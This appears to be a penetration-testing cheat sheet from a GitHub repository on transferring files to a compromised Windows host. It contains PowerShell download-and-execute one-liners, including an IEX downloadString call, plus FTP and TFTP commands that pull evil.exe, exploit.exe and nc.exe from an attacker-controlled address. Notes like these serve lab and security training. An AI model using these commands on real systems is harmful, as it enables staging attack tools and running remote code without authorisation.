forked from areyou1or0/Windows
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Transfer Files
73 lines (56 loc) · 2.17 KB
/
Transfer Files
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
Powershell
echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://<attackerip>/powerup.ps1" >>wget.ps1
echo $file = "powerup.ps1" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
--------------------------------------
# Powershell download a file
powershell "IEX(New Object Net.WebClient).downloadString('http://<targetip>/file.ps1')"
--------------------------------------
# powershell and wget
powershell wget "http://<attacker ip>:<attacker port>/<file to transfer>" -outfile "<file name to save as>"
-------------------------------------------
FTP (pureftpd client on Kali)
# on Kali
# install ftp client
apt-get install pure-ftpd
# create a group
groupadd ftpgroup
# add a user
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
# Create a directory for your ftp-files (you can also specify a specific user e.g.: /root/ftphome/bob).
mkdir /root/ftphome
# Create a ftp-user, in our example "bob" (again you can set "-d /root/ftphome/bob/" if you wish).
pure-pw useradd bob -u ftpuser -g ftpgroup -d /root/ftphome/
# Update the ftp database after adding our new user.
pure-pw mkdb
# change ownership of the specified ftp directory (and all it's sub-direcotries)
chown -R ftpuser:ftpgroup /root/ftphome
# restart Pure-FTPD
/etc/init.d/pure-ftpd restart
# On Windows
echo open <attackerip> 21> ftp.txt
echo USER username password >> ftp.txt
echo bin >> ftp.txt
echo GET evil.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt
--------------------------------------
FTP (pyftpdlib client on Kali)
# Ftp is generally installed on Windows machines
# To make it interactive, use -s option
# On Kali install a ftp client and set a username/password
apt-get install python-pyftpdlib
python -m pyftpdlib -p 21
# on Windows
ftp <attackerip>
> binary
> get exploit.exe
--------------------------------------
TFTP
# Windows XP and Win 2003 contain tftp client. Windows 7 do not by default
# tfpt clients are usually non-interactive, so they could work through an obtained shell
atftpd --daemon --port 69 /tftp
Windows> tftp -i 192.168.30.45 GET nc.exe